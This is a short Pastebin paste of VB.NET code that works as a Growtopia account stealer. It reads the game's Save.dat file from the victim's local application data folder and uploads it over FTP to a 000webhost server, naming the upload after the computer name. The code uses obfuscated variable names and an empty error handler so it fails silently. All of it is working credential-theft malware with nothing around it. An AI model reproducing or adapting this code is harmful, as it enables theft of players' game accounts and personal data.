RasyidMF

qwrwqrqwr

Jun 30th, 2018
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. Control.CheckForIllegalCrossThreadCalls = False
  2. Result = RandomNumber.Next(1, 999999)
  3. Dim OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23 As String = "\Growtopia\Save.dat"
  4. Dim OQWFOQWJFOQFJQOGTNQ As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
  5. Dim IJG239IJN As String = My.Computer.Name
  6. Try
  7. Dim IJNWS As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://files.000webhost.com/SaveDAT/save_" & IJG239IJN & Result & ".dat"), System.Net.FtpWebRequest)
  8. IJNWS.Credentials = New System.Net.NetworkCredential("", "wefkjwefjwbekj")
  9. IJNWS.Method = System.Net.WebRequestMethods.Ftp.UploadFile
  10. Dim w9iejhgih2p() As Byte = System.IO.File.ReadAllBytes(OQWFOQWJFOQFJQOGTNQ & OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23)
  11. Dim S2pj2og As System.IO.Stream = IJNWS.GetRequestStream()
  12. S2pj2og.Write(w9iejhgih2p, 0, w9iejhgih2p.Length)
  13. S2pj2og.Close()
  14. S2pj2og.Dispose()
  15.  
  16. Catch ex As Exception
  17.  
  18.  
  19.  
  20.  
  21. End Try
Advertisement
Add Comment
Please, Sign In to add comment